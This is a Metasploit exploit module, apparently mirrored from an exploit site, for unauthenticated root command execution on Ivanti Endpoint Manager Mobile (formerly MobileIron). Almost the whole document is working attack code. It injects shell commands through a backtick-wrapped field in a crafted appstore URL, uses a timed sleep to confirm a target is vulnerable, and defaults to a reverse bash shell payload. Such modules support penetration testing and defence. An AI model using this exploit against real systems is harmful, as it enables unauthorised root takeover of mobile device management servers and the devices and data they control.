Share
## https://sploitus.com/exploit?id=PACKETSTORM:215279
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    require 'rex/stopwatch'
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
      prepend Msf::Exploit::Remote::AutoCheck
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Ivanti Endpoint Manager Mobile (EPMM) unauthenticated RCE',
            'Description' => %q{
              This module exploits a OS command injection issue in Ivanti Endpoint Manager Mobile (EPMM), formerly known
              as MobileIron. A remote attacker can achieve unauthenticated RCE with root privileges on an affected device.
            },
            'License' => MSF_LICENSE,
            'Author' => [
              'watchTowr', # Original analysis and PoC
              'sfewer-r7' # MSF module
            ],
            'References' => [
              ['CVE', '2026-1281'],
              ['CVE', '2026-1340'],
              # Vendor advisory
              ['URL', 'https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-Endpoint-Manager-Mobile-EPMM-CVE-2026-1281-CVE-2026-1340?language=en_US'],
              # Vendor guidance
              ['URL', 'https://forums.ivanti.com/s/article/Analysis-Guidance-Ivanti-Endpoint-Manager-Mobile-EPMM-CVE-2026-1281-CVE-2026-1340?language=en_US'],
              # Technical analysis & PoC
              ['URL', 'https://labs.watchtowr.com/someone-knows-bash-far-too-well-and-we-love-it-ivanti-epmm-pre-auth-rces-cve-2026-1281-cve-2026-1340/']
            ],
            'DisclosureDate' => '2026-01-29',
            'Privileged' => true, # Executes as root.
            'Platform' => ['unix', 'linux'],
            'Arch' => ARCH_CMD,
            'Targets' => [
              [
                # Successfully tested with the following payloads against MobileIron 11.2:
                #   cmd/unix/reverse_bash
                #   cmd/unix/reverse_netcat
                # NOTE: The Linux fetch payloads did not work on MobileIron 11.2, YMMV on later product versions.
                'Default', {
                  'DefaultOptions' => {
                    'PAYLOAD' => 'cmd/unix/reverse_bash',
                    'FETCH_WRITABLE_DIR' => '/tmp'
                  }
                }
              ],
            ],
            'Payload' => {
              'BadChars' => '`'
            },
            'DefaultTarget' => 0,
            'DefaultOptions' => {
              'RPORT' => 443,
              'SSL' => true
            },
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [IOC_IN_LOGS]
            }
          )
        )
    
        register_options([OptString.new('TARGETURI', [true, 'Base path', '/'])])
      end
    
      def check
        res_ver = send_request_cgi(
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'mifs', 'user', 'login.jsp')
        )
    
        return CheckCode::Unknown('Connection to /mifs/user/login.jsp failed') unless res_ver
    
        return CheckCode::Unknown("Unexpected /mifs/user/login.jsp response code #{res_ver.code}") unless res_ver.code == 200
    
        ver_match = res_ver.body.match(/ui\.login\.css\?([\d.]+)"/)
    
        return CheckCode::Unknown('Failed to version match on ui.login.css') unless ver_match
    
        product_name = 'EPMM'
    
        # Ivanti acquired MobileIron and rebranded it to Endpoint Manager Mobile (EPMM) around version 11.4.
        if Rex::Version.new(ver_match[1]) < Rex::Version.new('11.4.0.0')
          product_name = 'MobileIron'
        end
    
        version_string = "Detected Ivanti #{product_name} version #{ver_match[1]}"
    
        sleep_time = rand(4..8)
    
        # We use proof-of-execution in the form of a delay to confirm if a target is vulnerable.
        res, elapsed_time = Rex::Stopwatch.elapsed_time do
          execute_cmd("sleep #{sleep_time}")
        end
    
        return CheckCode::Unknown("#{version_string}. Connection failed") unless res
    
        if elapsed_time < sleep_time
          return CheckCode::Safe(version_string)
        end
    
        CheckCode::Vulnerable(version_string)
      end
    
      def exploit
        execute_cmd(payload.encoded)
      end
    
      def execute_cmd(cmd)
        elements = {
          'kid' => rand(32),
          'st' => 'theValue'.ljust(10), # A length check in EPMM requires this value to be 10 characters long.
          'et' => (Time.now + (60 * 60 * rand(24))).to_i,
          'h' => "gPath[`#{cmd}`]"
        }
    
        hash = 'sha256:'
    
        hash += elements.map { |k, v| "#{k}=#{Rex::Text.uri_encode(v.to_s, 'hex-noslashes')}" }.join(',')
    
        vprint_status("hash: #{hash}")
    
        send_request_cgi(
          'method' => 'GET',
          'uri' => normalize_uri(
            target_uri.path,
            'mifs',
            'c',
            'appstore',
            'fob',
            '3',
            rand(1024).to_s,
            hash,
            "#{SecureRandom.uuid}.ipa"
          )
        )
      end
    end